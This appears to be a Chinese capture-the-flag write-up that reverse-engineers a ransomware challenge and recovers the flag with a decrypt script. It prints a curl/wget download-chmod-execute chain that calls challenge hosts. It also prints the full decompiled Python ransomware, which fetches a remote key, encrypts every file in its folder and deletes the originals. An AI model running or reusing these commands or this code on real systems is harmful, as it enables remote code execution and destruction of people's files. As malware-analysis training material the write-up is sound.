-
题目
题面
文件:
链接:https://pan.baidu.com/s/14i2ZZd63frWhJbWeB-0v1A
提取码:ysvy
- 逆向分析
dinined,可以发现它是一个 64 位程序,利用system()函数执行指令:curl -H 'User-Agent:0xdc9' https://th1s-is-4-f4ke-fl4g.herokuapp.com/load -o loader; chmod +x loader; ./loader.
// dinined 逆向代码节选
AntiDebug(argc, argv, envp);
......
strcpy(dest, "curl -H 'User-Agent:");
......
strcpy(src, "' https://th1s-is-4-f4ke-fl4g.herokuapp.com/load -o loader; chmod +x loader; ./loader");
......
sprintf(s, "0x%x", 3529LL);
strcat(dest, s);
strcat(dest, src);
return system(dest);
- 分析指令:
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp$ curl -H 'User-Agent:0xdc9' https://th1s-is-4-f4ke-fl4g.herokuapp.com/load -o loader
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 101 100 101 0 0 1 0 0:01:41 0:01:31 0:00:10 23
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp$ cat loader
wget https://transfer.sh/16E4i1F/main_malware; chmod +x main_malware; ./main_malware; rm main_malware
可以发现,接下来要做的事情就是:从 https://transfer.sh/16E4i1F/main_malware 下载 main_malware,运行然后删除掉它。
- 下载
main_malware
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp$ wget https://transfer.sh/16E4i1F/main_malware
--2021-08-02 10:36:56-- https://transfer.sh/16E4i1F/main_malware
Resolving transfer.sh (transfer.sh)... 144.76.136.153
Connecting to transfer.sh (transfer.sh)|144.76.136.153|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10489888 (10M) []
Saving to: ‘main_malware’
main_malware 100%[===============================================================================================================>] 10.00M 2.46MB/s in 4.5s
2021-08-02 10:37:05 (2.24 MB/s) - ‘main_malware’ saved [10489888/10489888]
- 考虑到是恶意软件,(本来是将程序拷到一个新的虚拟机上运行,后来发现并没有必要),我们将
main_malware拷到一个新建的文件夹下面,并且根据题目提示在文件夹下新建一个a.txt,在里面随便输入几个数字。
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ ls
a.txt main_malware
运行 main_malware 之后,会把 a.txt 加密成一个带有 .dc9 后缀的文件,里面全是数字;并且生成一个 warning.txt。(因为 main_malware 需要连接官方服务器,赛后复现时已无法运行,只能使用比赛时的文件)
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ cat warning.txt
warning, all your files has been encrypted. yeah i bet you can't crack me or figure how i encrypt it
3333333733333332333333373333333433333336333633333333333733363332333333373333333233333333333333343333333633363335333333373333333333333336333633363333333633363334333333333333333333333335333633363333333333333331333333333333333533333335333633363333333633363334333333333333333433333336333633333333333633333339333333363333333333333336333333393333333633363336333333373333333530343239353238362185622901563106
sincerely, 0xdc9
分析
main_malware
比赛的时候运行该程序的时候出现过一次网络错误,报错的Traveback里面出现了main_malware.py的字样,而且 IDA 逆向出来的代码很奇怪,那时就怀疑应该不是用 C 语言写的。在程序中随便找了个看起来不像是作者写的字符串在 github 上面搜了一下,发现这是一个 python 写的、用 pyinstaller 打包的可执行文件。逆向
main_malware
参考资料:Backdoor, Uncompyle6 appears Unknown magic number 227
-
pip3 install pyinstaller安装 pyinstaller. - 用 pyi-archive_viewer 提取可执行文件中的 python 代码(提取出来的只是字节串,保存到
main_malware.bin):
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ pyi-archive_viewer main_malware
pos, length, uncompressed, iscompressed, type, name
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5441, 12821, 1, 'm', 'pyimod03_importers'),
(10803, 1819, 4025, 1, 's', 'pyiboot01_bootstrap'),
(12622, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(13756, 259, 321, 1, 's', 'pyi_rth_certifi'),
(14015, 1331, 2390, 1, 's', 'main_malware'),
......
? X main_malware
to filename? main_malware.bin
? Q
- 接下来在
main_malware.bin的头部加上我们自己的magic number(具体:magic number + '\x00'*12 + main_malware.bin),然后再用 uncomplye6 将其逆成 python 代码。
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ python3
Python 3.8.10 (default, Jun 2 2021, 10:49:15)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import importlib.util
>>> from binascii import hexlify
>>> hexlify(importlib.util.MAGIC_NUMBER)
b'550d0d0a'
>>> open("main_malware.pyc", "wb").write(b'\x55\x0d\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + open("main_malware.bin", "rb").read())
2406
.....
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ uncompyle6 main_malware.pyc > main_malware.py
# uncompyle6 version 3.7.5.dev0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.10 (default, Jun 2 2021, 10:49:15)
# [GCC 9.4.0]
# Embedded file name: main_malware.py
import os
from binascii import hexlify as lock
from binascii import unhexlify as unlock
import requests, sys
from base64 import b64encode as encc
def get_key():
getkey = requests.get('https://th1s-is-4-f4ke-fl4g.herokuapp.com/enckey', headers={'User-agent': '0xdc9'})
return str(getkey.text)
def encrypt(plain, key):
iterate = 0
a = int(lock(lock(lock(key.encode('utf-8')))))
b = plain
b = int(lock(lock(b.encode('utf-8'))))
while len(str(key)) > iterate:
b = int(lock(str(b).encode('utf-8'))) ^ a
iterate += 1
return b
def getdir_path():
path = os.path.dirname(__file__)
out = ''
file_name = ''
if len(path) == 0:
path = os.getcwd()
listi = os.listdir(path)
for x in range(0, len(listi)):
if os.path.isdir(path + '/' + listi[x]) == False:
out += str(path + '/' + listi[x] + '\n')
file_name += listi[x] + '\n'
else:
listi = os.listdir(path)
for x in range(0, len(listi)):
if os.path.isdir(path + '/' + listi[x]) == False:
out += str(path + '/' + listi[x] + '\n')
file_name += listi[x] + '\n'
else:
return (
out, file_name)
def end_game(path, ext):
key = get_key()
a = path.split('\n')
file = ext.split('\n')
del a[len(a) - 1]
del file[len(file) - 1]
script_name = sys.argv[0]
script_name = script_name.replace('./', '')
for x in range(0, len(a)):
if script_name not in file[x]:
print(f"[+] Encrypting {a[x]}")
with open(a[x], 'rb') as (f):
c = f.read()
try:
dead = encrypt(c.decode('utf-8'), key)
with open(file[x] + '.dc9', 'w') as (gg):
gg.write(str(dead))
gg.close()
os.system(f"rm {file[x]}")
except:
parse = encc(c)
dead = encrypt(parse.decode('utf-8'), key)
with open(file[x] + '.dc9', 'w') as (gg):
gg.write(str(dead))
gg.close()
os.system(f"rm {file[x]}")
warning = requests.get('https://th1s-is-4-f4ke-fl4g.herokuapp.com/warning', headers={'User-agent': '0xdc9'})
with open('warning.txt', 'w') as (d):
d.write(str(warning.text))
d.close()
def main():
a, file = getdir_path()
end_game(a, file)
if __name__ == '__main__':
main()
# okay decompiling main_malware.pyc
不难分析:该程序将同目录下的所有文件都转成字符串,用 encrypt() 函数进行加密,密钥通过 get_key() 函数获取。由 encrypt() 逆向写出 decrypt() 函数,解密 warning.txt 中的那串数字应该就是 flag。
get_key() 中其实就是返回 curl -H 'User-Agent:0xdc9' https://th1s-is-4-f4ke-fl4g.herokuapp.com/enckey 得到的字符串,由于赛后无法连接,直接用官方题解的图:
- EXP
import os
from binascii import hexlify as lock
from binascii import unhexlify as unlock
import requests, sys
from base64 import b64encode as encc
def decrypt(cipher, key):
iterate = 0
a = int(lock(lock(lock(key.encode('utf-8')))))
b = cipher
while len(str(key)) > iterate:
b = int(unlock(str(int(b) ^ a).encode('utf-8')))
iterate += 1
print(unlock(unlock(str(b).encode('utf-8'))))
C = 3333333733333332333333373333333433333336333633333333333733363332333333373333333233333333333333343333333633363335333333373333333333333336333633363333333633363334333333333333333333333335333633363333333333333331333333333333333533333335333633363333333633363334333333333333333433333336333633333333333633333339333333363333333333333336333333393333333633363336333333373333333530343239353238362185622901563106
key = "15"
decrypt(C, key)
# flag: rtl{r4nsom3_15_m4licious}